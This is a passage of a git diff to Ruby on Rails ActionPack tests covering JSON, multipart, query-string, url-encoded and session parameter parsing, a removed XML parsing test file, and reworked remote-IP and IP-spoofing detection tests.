post "/parse", json, {'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => true, 'action_dispatch.logger' => ActiveSupport::Logger.new(output)}
- assert_response :error
+ assert_response :bad_request
output.rewind && err = output.read
assert err =~ /Error occurred while parsing request parameters/
end
@@ -47,7 +69,7 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
$stderr = StringIO.new # suppress the log
json = "[\"person]\": {\"name\": \"David\"}}"
exception = assert_raise(ActionDispatch::ParamsParser::ParseError) { post "/parse", json, {'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => false} }
- assert_equal MultiJson::DecodeError, exception.original_exception.class
+ assert_equal JSON::ParserError, exception.original_exception.class
assert_equal exception.original_exception.message, exception.message
ensure
$stderr = STDERR
@@ -55,6 +77,13 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
end
end
+ test 'raw_post is not empty for JSON request' do
+ with_test_routing do
+ post '/parse', '{"posts": [{"title": "Post Title"}]}', 'CONTENT_TYPE' => 'application/json'
+ assert_equal '{"posts": [{"title": "Post Title"}]}', request.raw_post
+ end
+ end
+
private
def assert_parses(expected, actual, headers = {})
with_test_routing do
@@ -107,6 +136,13 @@ class RootLessJSONParamsParsingTest < ActionDispatch::IntegrationTest
)
end
+ test "parses json with non-object JSON content" do
+ assert_parses(
+ {"user" => {"_json" => "string content" }, "_json" => "string content" },
+ "\"string content\"", { 'CONTENT_TYPE' => 'application/json' }
+ )
+ end
+
private
def assert_parses(expected, actual, headers = {})
with_test_routing(UsersController) do
diff --git a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
index 399f15199c..926472163e 100644
--- a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
@@ -1,13 +1,19 @@
+# encoding: utf-8
require 'abstract_unit'
class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
class TestController < ActionController::Base
class << self
- attr_accessor :last_request_parameters
+ attr_accessor :last_request_parameters, :last_parameters
end
def parse
- self.class.last_request_parameters = request.request_parameters
+ self.class.last_request_parameters = begin
+ request.request_parameters
+ rescue EOFError
+ {}
+ end
+ self.class.last_parameters = request.parameters
head :ok
end
@@ -30,6 +36,23 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
assert_equal({ 'foo' => { 'baz' => 'bar'}}, parse_multipart('bracketed_param'))
end
+ test "parse single utf8 parameter" do
+ assert_equal({ 'Iñtërnâtiônàlizætiøn_name' => 'Iñtërnâtiônàlizætiøn_value'},
+ parse_multipart('single_utf8_param'), "request.request_parameters")
+ assert_equal(
+ 'Iñtërnâtiônàlizætiøn_value',
+ TestController.last_parameters['Iñtërnâtiônàlizætiøn_name'], "request.parameters")
+ end
+
+ test "parse bracketed utf8 parameter" do
+ assert_equal({ 'Iñtërnâtiônàlizætiøn_name' => {
+ 'Iñtërnâtiônàlizætiøn_nested_name' => 'Iñtërnâtiônàlizætiøn_value'} },
+ parse_multipart('bracketed_utf8_param'), "request.request_parameters")
+ assert_equal(
+ {'Iñtërnâtiônàlizætiøn_nested_name' => 'Iñtërnâtiônàlizætiøn_value'},
+ TestController.last_parameters['Iñtërnâtiônàlizætiøn_name'], "request.parameters")
+ end
+
test "parses text file" do
params = parse_multipart('text_file')
assert_equal %w(file foo), params.keys.sort
@@ -89,8 +112,7 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
# Rack doesn't handle multipart/mixed for us.
files = params['files']
- files.force_encoding('ASCII-8BIT')
- assert_equal 19756, files.size
+ assert_equal 19756, files.bytesize
end
test "does not create tempfile if no file has been selected" do
@@ -127,7 +149,7 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
test "does not raise EOFError on GET request with multipart content-type" do
with_routing do |set|
set.draw do
- get ':action', to: 'multipart_params_parsing_test/test'
+ get ':action', controller: 'multipart_params_parsing_test/test'
end
headers = { "CONTENT_TYPE" => "multipart/form-data; boundary=AaB03x" }
get "/parse", {}, headers
@@ -156,7 +178,7 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
def with_test_routing
with_routing do |set|
set.draw do
- post ':action', :to => 'multipart_params_parsing_test/test'
+ post ':action', :controller => 'multipart_params_parsing_test/test'
end
yield
end
diff --git a/actionpack/test/dispatch/request/query_string_parsing_test.rb b/actionpack/test/dispatch/request/query_string_parsing_test.rb
index 3cb430d83d..4e99c26e03 100644
--- a/actionpack/test/dispatch/request/query_string_parsing_test.rb
+++ b/actionpack/test/dispatch/request/query_string_parsing_test.rb
@@ -11,6 +11,17 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
head :ok
end
end
+ class EarlyParse
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ # Trigger a Rack parse so that env caches the query params
+ Rack::Request.new(env).params
+ @app.call(env)
+ end
+ end
def teardown
TestController.last_query_parameters = nil
@@ -84,8 +95,8 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
assert_parses({"action" => nil}, "action")
assert_parses({"action" => {"foo" => nil}}, "action[foo]")
assert_parses({"action" => {"foo" => { "bar" => nil }}}, "action[foo][bar]")
- assert_parses({"action" => {"foo" => { "bar" => [] }}}, "action[foo][bar][]")
- assert_parses({"action" => {"foo" => []}}, "action[foo][]")
+ assert_parses({"action" => {"foo" => { "bar" => nil }}}, "action[foo][bar][]")
+ assert_parses({"action" => {"foo" => nil }}, "action[foo][]")
assert_parses({"action"=>{"foo"=>[{"bar"=>nil}]}}, "action[foo][][bar]")
end
@@ -93,6 +104,22 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
assert_parses({"action" => ['1']}, "action[]=1&action[]")
end
+ test "perform_deep_munge" do
+ old_perform_deep_munge = ActionDispatch::Request::Utils.perform_deep_munge
+ ActionDispatch::Request::Utils.perform_deep_munge = false
+ begin
+ assert_parses({"action" => nil}, "action")
+ assert_parses({"action" => {"foo" => nil}}, "action[foo]")
+ assert_parses({"action" => {"foo" => {"bar" => nil}}}, "action[foo][bar]")
+ assert_parses({"action" => {"foo" => {"bar" => [nil]}}}, "action[foo][bar][]")
+ assert_parses({"action" => {"foo" => [nil]}}, "action[foo][]")
+ assert_parses({"action" => {"foo" => [{"bar" => nil}]}}, "action[foo][][bar]")
+ assert_parses({"action" => ['1',nil]}, "action[]=1&action[]")
+ ensure
+ ActionDispatch::Request::Utils.perform_deep_munge = old_perform_deep_munge
+ end
+ end
+
test "query string with empty key" do
assert_parses(
{ "action" => "create_customer", "full_name" => "David Heinemeier Hansson" },
@@ -131,6 +158,10 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
set.draw do
get ':action', :to => ::QueryStringParsingTest::TestController
end
+ @app = self.class.build_app(set) do |middleware|
+ middleware.use(EarlyParse)
+ end
+
get "/parse", actual
assert_response :ok
diff --git a/actionpack/test/dispatch/request/session_test.rb b/actionpack/test/dispatch/request/session_test.rb
index 3f36d4f1a9..10fb04e230 100644
--- a/actionpack/test/dispatch/request/session_test.rb
+++ b/actionpack/test/dispatch/request/session_test.rb
@@ -24,7 +24,7 @@ module ActionDispatch
s['foo'] = 'bar'
s1 = Session.create(store, env, {})
- refute_equal s, s1
+ assert_not_equal s, s1
assert_equal 'bar', s1['foo']
end
@@ -36,29 +36,71 @@ module ActionDispatch
assert_equal s, Session.find(env)
end
+ def test_destroy
+ s = Session.create(store, {}, {})
+ s['rails'] = 'ftw'
+
+ s.destroy
+
+ assert_empty s
+ end
+
def test_keys
- env = {}
- s = Session.create(store, env, {})
+ s = Session.create(store, {}, {})
s['rails'] = 'ftw'
s['adequate'] = 'awesome'
assert_equal %w[rails adequate], s.keys
end
def test_values
- env = {}
- s = Session.create(store, env, {})
+ s = Session.create(store, {}, {})
s['rails'] = 'ftw'
s['adequate'] = 'awesome'
assert_equal %w[ftw awesome], s.values
end
def test_clear
- env = {}
- s = Session.create(store, env, {})
+ s = Session.create(store, {}, {})
s['rails'] = 'ftw'
s['adequate'] = 'awesome'
+
s.clear
- assert_equal([], s.values)
+ assert_empty(s.values)
+ end
+
+ def test_update
+ s = Session.create(store, {}, {})
+ s['rails'] = 'ftw'
+
+ s.update(:rails => 'awesome')
+
+ assert_equal(['rails'], s.keys)
+ assert_equal('awesome', s['rails'])
+ end
+
+ def test_delete
+ s = Session.create(store, {}, {})
+ s['rails'] = 'ftw'
+
+ s.delete('rails')
+
+ assert_empty(s.keys)
+ end
+
+ def test_fetch
+ session = Session.create(store, {}, {})
+
+ session['one'] = '1'
+ assert_equal '1', session.fetch(:one)
+
+ assert_equal '2', session.fetch(:two, '2')
+ assert_nil session.fetch(:two, nil)
+
+ assert_equal 'three', session.fetch(:three) {|el| el.to_s }
+
+ assert_raise KeyError do
+ session.fetch(:three)
+ end
end
private
@@ -66,6 +108,7 @@ module ActionDispatch
Class.new {
def load_session(env); [1, {}]; end
def session_exists?(env); true; end
+ def destroy_session(env, id, options); 123; end
}.new
end
end
diff --git a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
index e9b59f55a7..1de05cbf09 100644
--- a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
@@ -17,10 +17,9 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
end
test "parses unbalanced query string with array" do
- assert_parses(
- {'location' => ["1", "2"], 'age_group' => ["2"]},
- "location[]=1&location[]=2&age_group[]=2"
- )
+ query = "location[]=1&location[]=2&age_group[]=2"
+ expected = { 'location' => ["1", "2"], 'age_group' => ["2"] }
+ assert_parses expected, query
end
test "parses nested hash" do
@@ -30,9 +29,17 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
"note[viewers][viewer][][type]=Group",
"note[viewers][viewer][][id]=2"
].join("&")
-
- expected = { "note" => { "viewers"=>{"viewer"=>[{ "id"=>"1", "type"=>"User"}, {"type"=>"Group", "id"=>"2"} ]} } }
- assert_parses(expected, query)
+ expected = {
+ "note" => {
+ "viewers" => {
+ "viewer" => [
+ { "id" => "1", "type" => "User" },
+ { "type" => "Group", "id" => "2" }
+ ]
+ }
+ }
+ }
+ assert_parses expected, query
end
test "parses more complex nesting" do
@@ -48,7 +55,6 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
"products[second]=Pc",
"=Save"
].join("&")
-
expected = {
"customers" => {
"boston" => {
@@ -70,13 +76,12 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
"second" => "Pc"
}
}
-
assert_parses expected, query
end
test "parses params with array" do
- query = "selected[]=1&selected[]=2&selected[]=3"
- expected = { "selected" => [ "1", "2", "3" ] }
+ query = "selected[]=1&selected[]=2&selected[]=3"
+ expected = { "selected" => ["1", "2", "3"] }
assert_parses expected, query
end
@@ -88,13 +93,13 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
test "parses params with array prefix and hashes" do
query = "a[][b][c]=d"
- expected = {"a" => [{"b" => {"c" => "d"}}]}
+ expected = { "a" => [{ "b" => { "c" => "d" } }] }
assert_parses expected, query
end
test "parses params with complex nesting" do
query = "a[][b][c][][d][]=e"
- expected = {"a" => [{"b" => {"c" => [{"d" => ["e"]}]}}]}
+ expected = { "a" => [{ "b" => { "c" => [{ "d" => ["e"] }] } }] }
assert_parses expected, query
end
@@ -104,7 +109,6 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
"something_else=blah",
"logo=#{File.expand_path(__FILE__)}"
].join("&")
-
expected = {
"customers" => {
"boston" => {
@@ -116,22 +120,17 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
"something_else" => "blah",
"logo" => File.expand_path(__FILE__),
}
-
assert_parses expected, query
end
test "parses params with Safari 2 trailing null character" do
- query = "selected[]=1&selected[]=2&selected[]=3\0"
- expected = { "selected" => [ "1", "2", "3" ] }
+ query = "selected[]=1&selected[]=2&selected[]=3\0"
+ expected = { "selected" => ["1", "2", "3"] }
assert_parses expected, query
end
test "ambiguous params returns a bad request" do
- with_routing do |set|
- set.draw do
- post ':action', :to => ::UrlEncodedParamsParsingTest::TestController
- end
-
+ with_test_routing do
post "/parse", "foo[]=bar&foo[4]=bar"
assert_response :bad_request
end
@@ -141,7 +140,7 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
def with_test_routing
with_routing do |set|
set.draw do
- post ':action', :to => ::UrlEncodedParamsParsingTest::TestController
+ post ':action', to: ::UrlEncodedParamsParsingTest::TestController
end
yield
end
@@ -151,8 +150,8 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
with_test_routing do
post "/parse", actual
assert_response :ok
- assert_equal(expected, TestController.last_request_parameters)
- assert_utf8(TestController.last_request_parameters)
+ assert_equal expected, TestController.last_request_parameters
+ assert_utf8 TestController.last_request_parameters
end
end
@@ -164,14 +163,14 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
return
end
- object.each do |k,v|
+ object.each_value do |v|
case v
when Hash
- assert_utf8(v)
+ assert_utf8 v
when Array
- v.each {|el| assert_utf8(el) }
+ v.each { |el| assert_utf8 el }
else
- assert_utf8(v)
+ assert_utf8 v
end
end
end
diff --git a/actionpack/test/dispatch/request/xml_params_parsing_test.rb b/actionpack/test/dispatch/request/xml_params_parsing_test.rb
deleted file mode 100644
index cb68667002..0000000000
--- a/actionpack/test/dispatch/request/xml_params_parsing_test.rb
+++ /dev/null
@@ -1,165 +0,0 @@
-require 'abstract_unit'
-
-class XmlParamsParsingTest < ActionDispatch::IntegrationTest
- class TestController < ActionController::Base
- class << self
- attr_accessor :last_request_parameters
- end
-
- def parse
- self.class.last_request_parameters = request.request_parameters
- head :ok
- end
- end
-
- def teardown
- TestController.last_request_parameters = nil
- end
-
- test "parses a strict rack.input" do
- class Linted
- undef call if method_defined?(:call)
- def call(env)
- bar = env['action_dispatch.request.request_parameters']['foo']
- result = "<ok>#{bar}</ok>"
- [200, {"Content-Type" => "application/xml", "Content-Length" => result.length.to_s}, [result]]
- end
- end
- req = Rack::MockRequest.new(ActionDispatch::ParamsParser.new(Linted.new))
- resp = req.post('/', "CONTENT_TYPE" => "application/xml", :input => "<foo>bar</foo>", :lint => true)
- assert_equal "<ok>bar</ok>", resp.body
- end
-
- test "parses hash params" do
- with_test_routing do
- xml = "<person><name>David</name></person>"
- post "/parse", xml, default_headers
- assert_response :ok
- assert_equal({"person" => {"name" => "David"}}, TestController.last_request_parameters)
- end
- end
-
- test "parses single file" do
- with_test_routing do
- xml = "<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{::Base64.encode64('ABC')}</avatar></person>"
- post "/parse", xml, default_headers
- assert_response :ok
-
- person = TestController.last_request_parameters
- assert_equal "image/jpg", person['person']['avatar'].content_type
- assert_equal "me.jpg", person['person']['avatar'].original_filename
- assert_equal "ABC", person['person']['avatar'].read
- end
- end
-
- test "logs error if parsing unsuccessful" do
- with_test_routing do
- output = StringIO.new
- xml = "<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{::Base64.encode64('ABC')}</avatar></pineapple>"
- post "/parse", xml, default_headers.merge('action_dispatch.show_exceptions' => true, 'action_dispatch.logger' => ActiveSupport::Logger.new(output))
- assert_response :error
- output.rewind && err = output.read
- assert err =~ /Error occurred while parsing request parameters/
- end
- end
-
- test "occurring a parse error if parsing unsuccessful" do
- with_test_routing do
- begin
- $stderr = StringIO.new # suppress the log
- xml = "<person><name>David</name></pineapple>"
- exception = assert_raise(ActionDispatch::ParamsParser::ParseError) { post "/parse", xml, default_headers.merge('action_dispatch.show_exceptions' => false) }
- assert_equal REXML::ParseException, exception.original_exception.class
- assert_equal exception.original_exception.message, exception.message
- ensure
- $stderr = STDERR
- end
- end
- end
-
- test "parses multiple files" do
- xml = <<-end_body
- <person>
- <name>David</name>
- <avatars>
- <avatar type='file' name='me.jpg' content_type='image/jpg'>#{::Base64.encode64('ABC')}</avatar>
- <avatar type='file' name='you.gif' content_type='image/gif'>#{::Base64.encode64('DEF')}</avatar>
- </avatars>
- </person>
- end_body
-
- with_test_routing do
- post "/parse", xml, default_headers
- assert_response :ok
- end
-
- person = TestController.last_request_parameters
-
- assert_equal "image/jpg", person['person']['avatars']['avatar'].first.content_type
- assert_equal "me.jpg", person['person']['avatars']['avatar'].first.original_filename
- assert_equal "ABC", person['person']['avatars']['avatar'].first.read
-
- assert_equal "image/gif", person['person']['avatars']['avatar'].last.content_type
- assert_equal "you.gif", person['person']['avatars']['avatar'].last.original_filename
- assert_equal "DEF", person['person']['avatars']['avatar'].last.read
- end
-
- private
- def with_test_routing
- with_routing do |set|
- set.draw do
- post ':action', :to => ::XmlParamsParsingTest::TestController
- end
- yield
- end
- end
-
- def default_headers
- {'CONTENT_TYPE' => 'application/xml'}
- end
-end
-
-class LegacyXmlParamsParsingTest < XmlParamsParsingTest
- private
- def default_headers
- {'HTTP_X_POST_DATA_FORMAT' => 'xml'}
- end
-end
-
-class RootLessXmlParamsParsingTest < ActionDispatch::IntegrationTest
- class TestController < ActionController::Base
- wrap_parameters :person, :format => :xml
-
- class << self
- attr_accessor :last_request_parameters
- end
-
- def parse
- self.class.last_request_parameters = request.request_parameters
- head :ok
- end
- end
-
- def teardown
- TestController.last_request_parameters = nil
- end
-
- test "parses hash params" do
- with_test_routing do
- xml = "<name>David</name>"
- post "/parse", xml, {'CONTENT_TYPE' => 'application/xml'}
- assert_response :ok
- assert_equal({"name" => "David", "person" => {"name" => "David"}}, TestController.last_request_parameters)
- end
- end
-
- private
- def with_test_routing
- with_routing do |set|
- set.draw do
- post ':action', :to => ::RootLessXmlParamsParsingTest::TestController
- end
- yield
- end
- end
-end
diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb
index f2bacf3e20..940ebc0224 100644
--- a/actionpack/test/dispatch/request_test.rb
+++ b/actionpack/test/dispatch/request_test.rb
@@ -1,18 +1,43 @@
require 'abstract_unit'
-class RequestTest < ActiveSupport::TestCase
+class BaseRequestTest < ActiveSupport::TestCase
+ def setup
+ @env = {
+ :ip_spoofing_check => true,
+ :tld_length => 1,
+ "rack.input" => "foo"
+ }
+ end
def url_for(options = {})
options = { host: 'www.example.com' }.merge!(options)
ActionDispatch::Http::URL.url_for(options)
end
+ protected
+ def stub_request(env = {})
+ ip_spoofing_check = env.key?(:ip_spoofing_check) ? env.delete(:ip_spoofing_check) : true
+ @trusted_proxies ||= nil
+ ip_app = ActionDispatch::RemoteIp.new(Proc.new { }, ip_spoofing_check, @trusted_proxies)
+ tld_length = env.key?(:tld_length) ? env.delete(:tld_length) : 1
+ ip_app.call(env)
+ ActionDispatch::Http::URL.tld_length = tld_length
+
+ env = @env.merge(env)
+ ActionDispatch::Request.new(env)
+ end
+end
+
+class RequestUrlFor < BaseRequestTest
test "url_for class method" do
e = assert_raise(ArgumentError) { url_for(:host => nil) }
assert_match(/Please provide the :host parameter/, e.message)
assert_equal '/books', url_for(:only_path => true, :path => '/books')
+ assert_equal 'http://www.example.com/books/?q=code', url_for(trailing_slash: true, path: '/books?q=code')
+ assert_equal 'http://www.example.com/books/?spareslashes=////', url_for(trailing_slash: true, path: '/books?spareslashes=////')
+
assert_equal 'http://www.example.com', url_for
assert_equal 'http://api.example.com', url_for(:subdomain => 'api')
assert_equal 'http://example.com', url_for(:subdomain => false)
@@ -28,13 +53,15 @@ class RequestTest < ActiveSupport::TestCase
assert_equal 'http://www.example.com?params=', url_for(:params => '')
assert_equal 'http://www.example.com?params=1', url_for(:params => 1)
end
+end
+class RequestIP < BaseRequestTest
test "remote ip" do
request = stub_request 'REMOTE_ADDR' => '1.2.3.4'
assert_equal '1.2.3.4', request.remote_ip
request = stub_request 'REMOTE_ADDR' => '1.2.3.4,3.4.5.6'
- assert_equal '1.2.3.4', request.remote_ip
+ assert_equal '3.4.5.6', request.remote_ip
request = stub_request 'REMOTE_ADDR' => '1.2.3.4',
'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
@@ -47,30 +74,32 @@ class RequestTest < ActiveSupport::TestCase
request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6,unknown'
assert_equal '3.4.5.6', request.remote_ip
- request = stub_request 'HTTP_X_FORWARDED_FOR' => '172.16.0.1,3.4.5.6'
- assert_equal nil, request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6,172.16.0.1'
+ assert_equal '3.4.5.6', request.remote_ip
- request = stub_request 'HTTP_X_FORWARDED_FOR' => '192.168.0.1,3.4.5.6'
- assert_equal nil, request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6,192.168.0.1'
+ assert_equal '3.4.5.6', request.remote_ip
- request = stub_request 'HTTP_X_FORWARDED_FOR' => '10.0.0.1,3.4.5.6'
- assert_equal nil, request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6,10.0.0.1'
+ assert_equal '3.4.5.6', request.remote_ip
- request = stub_request 'HTTP_X_FORWARDED_FOR' => '10.0.0.1, 10.0.0.1, 3.4.5.6'
- assert_equal nil, request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6, 10.0.0.1, 10.0.0.1'
+ assert_equal '3.4.5.6', request.remote_ip
- request = stub_request 'HTTP_X_FORWARDED_FOR' => '127.0.0.1,3.4.5.6'
- assert_equal nil, request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6,127.0.0.1'
+ assert_equal '3.4.5.6', request.remote_ip
request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,192.168.0.1'
assert_equal nil, request.remote_ip
- request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6, 9.9.9.9, 10.0.0.1, 172.31.4.4'
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '9.9.9.9, 3.4.5.6, 172.31.4.4, 10.0.0.1'
assert_equal '3.4.5.6', request.remote_ip
request = stub_request 'HTTP_X_FORWARDED_FOR' => 'not_ip_address'
assert_equal nil, request.remote_ip
+ end
+ test "remote ip spoof detection" do
request = stub_request 'HTTP_X_FORWARDED_FOR' => '1.1.1.1',
'HTTP_CLIENT_IP' => '2.2.2.2'
e = assert_raise(ActionDispatch::RemoteIp::IpSpoofAttackError) {
@@ -79,26 +108,28 @@ class RequestTest < ActiveSupport::TestCase
assert_match(/IP spoofing attack/, e.message)
assert_match(/HTTP_X_FORWARDED_FOR="1.1.1.1"/, e.message)
assert_match(/HTTP_CLIENT_IP="2.2.2.2"/, e.message)
+ end
- # turn IP Spoofing detection off.
- # This is useful for sites that are aimed at non-IP clients. The typical
- # example is WAP. Since the cellular network is not IP based, it's a
- # leap of faith to assume that their proxies are ever going to set the
- # HTTP_CLIENT_IP/HTTP_X_FORWARDED_FOR headers properly.
+ test "remote ip with spoof detection disabled" do
request = stub_request 'HTTP_X_FORWARDED_FOR' => '1.1.1.1',
'HTTP_CLIENT_IP' => '2.2.2.2',
:ip_spoofing_check => false
- assert_equal '2.2.2.2', request.remote_ip
+ assert_equal '1.1.1.1', request.remote_ip
+ end
- request = stub_request 'HTTP_X_FORWARDED_FOR' => '9.9.9.9, 8.8.8.8'
- assert_equal '9.9.9.9', request.remote_ip
+ test "remote ip spoof protection ignores private addresses" do
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '172.17.19.51',
+ 'HTTP_CLIENT_IP' => '172.17.19.51',
+ 'REMOTE_ADDR' => '1.1.1.1',
+ 'HTTP_X_BLUECOAT_VIA' => 'de462e07a2db325e'
+ assert_equal '1.1.1.1', request.remote_ip
end
test "remote ip v6" do
request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334'
assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
- request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334,fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+ request = stub_request 'REMOTE_ADDR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329,2001:0db8:85a3:0000:0000:8a2e:0370:7334'
assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334',
@@ -109,30 +140,29 @@ class RequestTest < ActiveSupport::TestCase
'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
- request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
- assert_equal nil, request.remote_ip
-
- request = stub_request 'HTTP_X_FORWARDED_FOR' => '::1,fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
- assert_equal nil, request.remote_ip
-
- request = stub_request 'HTTP_X_FORWARDED_FOR' => '::1,fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
- assert_equal nil, request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329,unknown'
+ assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
- request = stub_request 'HTTP_X_FORWARDED_FOR' => '::1,fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
- assert_equal nil, request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329,::1'
+ assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
- request = stub_request 'HTTP_X_FORWARDED_FOR' => '::1, ::1, fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
- assert_equal nil, request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329, ::1, ::1'
+ assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,::1'
assert_equal nil, request.remote_ip
- request = stub_request 'HTTP_X_FORWARDED_FOR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334, fe80:0000:0000:0000:0202:b3ff:fe1e:8329, ::1, fc00::'
- assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334, fe80:0000:0000:0000:0202:b3ff:fe1e:8329, ::1, fc00::, fc01::, fdff'
+ assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'FE00::, FDFF::'
+ assert_equal 'FE00::', request.remote_ip
request = stub_request 'HTTP_X_FORWARDED_FOR' => 'not_ip_address'
assert_equal nil, request.remote_ip
+ end
+ test "remote ip v6 spoof detection" do
request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329',
'HTTP_CLIENT_IP' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334'
e = assert_raise(ActionDispatch::RemoteIp::IpSpoofAttackError) {
@@ -141,26 +171,15 @@ class RequestTest < ActiveSupport::TestCase
assert_match(/IP spoofing attack/, e.message)
assert_match(/HTTP_X_FORWARDED_FOR="fe80:0000:0000:0000:0202:b3ff:fe1e:8329"/, e.message)
assert_match(/HTTP_CLIENT_IP="2001:0db8:85a3:0000:0000:8a2e:0370:7334"/, e.message)
+ end
- # Turn IP Spoofing detection off.
- # This is useful for sites that are aimed at non-IP clients. The typical
- # example is WAP. Since the cellular network is not IP based, it's a
- # leap of faith to assume that their proxies are ever going to set the
- # HTTP_CLIENT_IP/HTTP_X_FORWARDED_FOR headers properly.
+ test "remote ip v6 spoof detection disabled" do
request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329',
'HTTP_CLIENT_IP' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334',
:ip_spoofing_check => false
- assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
-
- request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329, 2001:0db8:85a3:0000:0000:8a2e:0370:7334'
assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
end
- test "remote ip when the remote ip middleware returns nil" do
- request = stub_request 'REMOTE_ADDR' => '127.0.0.1'
- assert_equal '127.0.0.1', request.remote_ip
- end
-
test "remote ip with user specified trusted proxies String" do
@trusted_proxies = "67.205.106.73"
@@ -170,16 +189,16 @@ class RequestTest < ActiveSupport::TestCase
request = stub_request 'REMOTE_ADDR' => '172.16.0.1,67.205.106.73',
'HTTP_X_FORWARDED_FOR' => '67.205.106.73'
- assert_equal '172.16.0.1', request.remote_ip
+ assert_equal '67.205.106.73', request.remote_ip
request = stub_request 'REMOTE_ADDR' => '67.205.106.73,3.4.5.6',
'HTTP_X_FORWARDED_FOR' => '67.205.106.73'
assert_equal '3.4.5.6', request.remote_ip
- request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,67.205.106.73'
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '67.205.106.73,unknown'
assert_equal nil, request.remote_ip
- request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6, 9.9.9.9, 10.0.0.1, 67.205.106.73'
